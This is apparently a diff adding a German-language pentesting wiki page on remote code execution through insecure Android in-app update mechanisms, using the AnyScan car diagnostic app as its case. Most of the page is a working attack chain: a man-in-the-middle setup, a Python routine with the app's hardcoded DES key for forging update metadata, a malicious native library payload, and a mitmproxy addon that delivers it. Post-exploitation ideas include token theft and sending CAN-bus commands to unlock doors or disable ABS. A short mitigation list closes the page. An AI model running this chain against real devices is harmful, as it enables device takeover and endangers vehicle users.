b/src/mobile-pentesting/android-app-pentesting/insecure-in-app-update-rce.md new file mode 100644 index 000000000..4c467f0a8 --- /dev/null +++ b/src/mobile-pentesting/android-app-pentesting/insecure-in-app-update-rce.md @@ -0,0 +1,124 @@ +# Unsichere In-App-Update-Mechanismen – Remote Code Execution über bösartige Plugins + +{{#include ../../banners/hacktricks-training.md}} + +Viele Android-Anwendungen implementieren ihre **eigenen „Plugin“- oder „dynamischen Feature“-Updatekanäle** anstelle der Verwendung des Google Play Stores. Wenn die Implementierung unsicher ist, kann ein Angreifer, der den Datenverkehr abfängt, **willkürlichen nativen Code bereitstellen, der im App-Prozess geladen wird**, was zu vollständiger Remote Code Execution (RCE) auf dem Gerät führt – und in einigen Fällen auf jedem externen Gerät, das von der App gesteuert wird (Autos, IoT, medizinische Geräte …). + +Diese Seite fasst eine reale Schwachstellenkette zusammen, die in der Xtool **AnyScan** Automobil-Diagnose-App (v4.40.11 → 4.40.40) gefunden wurde, und verallgemeinert die Technik, damit Sie andere Android-Apps prüfen und die Fehlkonfiguration während eines Red-Team-Einsatzes ausnutzen können. + +--- +## 1. Identifizierung eines unsicheren TLS TrustManagers + +1. Decompilieren Sie die APK mit jadx / apktool und lokalisieren Sie den Netzwerk-Stack (OkHttp, HttpUrlConnection, Retrofit…). +2. Suchen Sie nach einem **benutzerdefinierten `TrustManager`** oder `HostnameVerifier`, der jedes Zertifikat blind vertraut: +```java +public static TrustManager[] buildTrustManagers() { +return new TrustManager[]{ +new X509TrustManager() { +public void checkClientTrusted(X509Certificate[] chain, String authType) {} +public void checkServerTrusted(X509Certificate[] chain, String authType) {} +public X509Certificate[] getAcceptedIssuers() {return new X509Certificate[]{};} +} +}; +} +``` +3. Wenn vorhanden, akzeptiert die Anwendung **jedes TLS-Zertifikat** → Sie können einen transparenten **MITM-Proxy** mit einem selbstsignierten Zertifikat ausführen: +```bash +mitmproxy -p 8080 -s addon.py # see §4 +iptables -t nat -A OUTPUT -p tcp --dport 443 -j REDIRECT --to-ports 8080 # on rooted device / emulator +``` +## 2. Reverse-Engineering der Update-Metadaten + +Im Fall von AnyScan löst jeder App-Start einen HTTPS GET an: +``` +https://apigw.xtoolconnect.com/uhdsvc/UpgradeService.asmx/GetUpdateListEx +``` +Der Antwortkörper ist ein **XML-Dokument**, dessen ``-Knoten **Base64-kodiertes, DES-ECB-verschlüsseltes** JSON enthalten, das jedes verfügbare Plugin beschreibt. + +Typische Jagdschritte: +1. Lokalisieren Sie die Krypto-Routine (z.B. `RemoteServiceProxy`) und stellen Sie wieder her: +* Algorithmus (DES / AES / RC4 …) +* Betriebsmodus (ECB / CBC / GCM …) +* fest codierter Schlüssel / IV (häufig 56-Bit-DES-Schlüssel oder 128-Bit-AES-Schlüssel in Konstanten) +2. Implementieren Sie die Funktion in Python neu, um die Metadaten zu entschlüsseln / zu verschlüsseln: +```python +from Crypto.Cipher import DES +from base64 import b64decode, b64encode + +KEY = IV = b"\x2A\x10\x2A\x10\x2A\x10\x2A" # 56-bit key observed in AnyScan + +def decrypt_metadata(data_b64: str) -> bytes: +cipher = DES.new(KEY, DES.MODE_ECB) +return cipher.decrypt(b64decode(data_b64)) + +def encrypt_metadata(plaintext: bytes) -> str: +cipher = DES.new(KEY, DES.MODE_ECB) +return b64encode(cipher.encrypt(plaintext.ljust((len(plaintext)+7)//8*8, b"\x00"))).decode() +``` +## 3. Erstellen Sie ein bösartiges Plugin + +1. Wählen Sie eine beliebige legitime Plugin-ZIP-Datei aus und ersetzen Sie die native Bibliothek durch Ihre Nutzlast: +```c +// libscan_x64.so – constructor runs as soon as the library is loaded +__attribute__((constructor)) +void init(void){ +__android_log_print(ANDROID_LOG_INFO, "PWNED", "Exploit loaded! uid=%d", getuid()); +// spawn reverse shell, drop file, etc. +} +``` + +```bash +$ aarch64-linux-android-gcc -shared -fPIC payload.c -o libscan_x64.so +$ zip -r PWNED.zip libscan_x64.so assets/ meta.txt +``` +2. Aktualisieren Sie die JSON-Metadaten, sodass `"FileName" : "PWNED.zip"` und `"DownloadURL"` auf Ihren HTTP-Server zeigen. +3. DES-verschlüsseln + Base64-codieren Sie das modifizierte JSON und fügen Sie es zurück in die abgefangene XML ein. + +## 4. Übermitteln Sie die Nutzlast mit mitmproxy + +`addon.py` Beispiel, das die ursprünglichen Metadaten *stillschweigend* austauscht: +```python +from mitmproxy import http +MOD_XML = open("fake_metadata.xml", "rb").read() + +def request(flow: http.HTTPFlow): +if b"/UpgradeService.asmx/GetUpdateListEx" in flow.request.path: +flow.response = http.Response.make( +200, +MOD_XML, +{"Content-Type": "text/xml"} +) +``` +Führen Sie einen einfachen Webserver aus, um die bösartige ZIP-Datei zu hosten: +```bash +python3 -m http.server 8000 --directory ./payloads +``` +Wenn das Opfer die App startet, wird sie: +* unser gefälschtes XML über den MITM-Kanal abrufen; +* es mit dem fest codierten DES-Schlüssel entschlüsseln und parsen; +* `PWNED.zip` herunterladen → im privaten Speicher entpacken; +* `dlopen()` die enthaltene *libscan_x64.so* aufrufen und sofort unseren Code **mit den Berechtigungen der App** (Kamera, GPS, Bluetooth, Dateisystem, …) ausführen. + +Da das Plugin auf der Festplatte zwischengespeichert ist, **besteht die Hintertür über Neustarts hinweg** und wird jedes Mal ausgeführt, wenn der Benutzer die zugehörige Funktion auswählt. + +## 5. Ideen zur Nachnutzung + +* Stehlen Sie Sitzungscookies, OAuth-Token oder JWTs, die von der App gespeichert werden. +* Legen Sie eine zweite APK in der zweiten Phase ab und installieren Sie sie stillschweigend über `pm install` (die App hat bereits `REQUEST_INSTALL_PACKAGES`). +* Missbrauchen Sie jede verbundene Hardware – im AnyScan-Szenario können Sie beliebige **OBD-II / CAN-Bus-Befehle** senden (Türen entriegeln, ABS deaktivieren usw.). + +--- +### Erkennungs- und Minderungsliste (blaue Gruppe) + +* Versenden Sie NIEMALS eine Produktionsversion mit einem benutzerdefinierten TrustManager/HostnameVerifier, der die Zertifikatsvalidierung deaktiviert. +* Laden Sie keinen ausführbaren Code von außerhalb des Google Play Store herunter. Wenn Sie *müssen*, signieren Sie jedes Plugin mit demselben **apkSigning v2**-Schlüssel und überprüfen Sie die Signatur vor dem Laden. +* Ersetzen Sie schwache/fest codierte Kryptografie durch **AES-GCM** und einen serverseitigen rotierenden Schlüssel. +* Validieren Sie die Integrität heruntergeladener Archive (Signatur oder mindestens SHA-256). + +--- +## Referenzen + +- [NowSecure – Remote Code Execution Discovered in Xtool AnyScan App](https://www.nowsecure.com/blog/2025/07/16/remote-code-execution-discovered-in-xtool-anyscan-app-risks-to-phones-and-vehicles/) +- [Android – Unsafe TrustManager patterns](https://developer.android.com/privacy-and-security/risks/unsafe-trustmanager) + +{{#include ../../banners/hacktricks-training.md}}